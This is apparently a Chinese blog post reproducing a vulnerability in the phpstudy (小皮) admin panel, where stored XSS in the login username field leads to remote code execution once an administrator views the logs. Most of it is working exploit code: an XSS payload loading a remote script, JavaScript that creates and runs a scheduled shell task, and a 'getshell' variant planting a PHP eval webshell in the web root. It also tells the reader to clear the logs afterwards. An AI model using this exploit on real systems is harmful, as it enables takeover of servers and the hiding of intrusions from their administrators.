前几天爆出phpstudy 小皮面板存在RCE漏洞,通过分析和复现发现本质上是一个存储型的XSS漏洞导致的RCE。这是一个很简单的1click的RCE,通过系统登录用户名输入处的XSS配合系统后台自动添加计划任务来实现RCE。
说白了就是后台页面,日志用户名我们可控的 虽然影响大,但是条件也很苛刻,首先要 小皮面板后台路径 and 等待管理员登录 不多说了!
漏洞复现
首先在官网下载最新的小皮windows面板安装程序 安装完!访问 测试漏洞是否存在!
<script>alert(1)</script>
显示账号密码错误完,登录admin账号验证一下!是否弹窗 大概就是这样子!剩下就是js 写文件 and webshell ps:需要知道绝对路径哈! 还是那样子插入js代码
<script src=http://192.168.119.1/poc.js></script>
function poc(){
$.get('/service/app/tasks.php?type=task_list',{},function(data){
var id=data.data[0].ID;
$.post('/service/app/tasks.php?type=exec_task',{
tid:id
},function(res){
$.post('/service/app/tasks.php?type=set_task_status',{
task_id:id,
status:0
},function(res1){
$.post('/service/app/tasks.php?type=set_task_status',{
task_id:id,
status:0
},function(res2){
$.post("/service/app/log.php?type=clearlog",{
type:"clearlog"
},function(res3){},"json");
},"json");
},"json");
},"json");
},"json");
}
function save(){
var data=new Object();
data.task_id="";
data.title="test";
data.exec_cycle="1";
data.week="1";
data.day="3";
data.hour="13";
data.minute = "51";
data.shell="echo swzaq >C:/xp.cn/www/1.txt";
$.post('/service/app/tasks.php?type=save_shell',data,function(res){
poc();
},'json');
}
save();
不要插入太多恶意代码,对系统崩溃的!记得清理日志 下面也附上 getshell 的exp!
function poc(){
$.get('/service/app/tasks.php?type=task_list',{},function(data){
var id=data.data[0].ID;
$.post('/service/app/tasks.php?type=exec_task',{
tid:id
},function(res2){
$.post('/service/app/log.php?type=clearlog',{
},function(res3){},"json");
},"json");
},"json");
}
function save(){
var data=new Object();
data.task_id="";
data.title="test";
data.exec_cycle="1";
data.week="1";
data.day="3";
data.hour="14";
data.minute = "20";
data.shell='echo "<?php @eval($_POST[123]);?>" >C:/xp.cn/www/wwwroot/admin/localhost_80/wwwroot/1.php';
$.post('/service/app/tasks.php?type=save_shell',data,function(res){
poc();
},'json');
}
save();
好啦!完毕!生活愉快!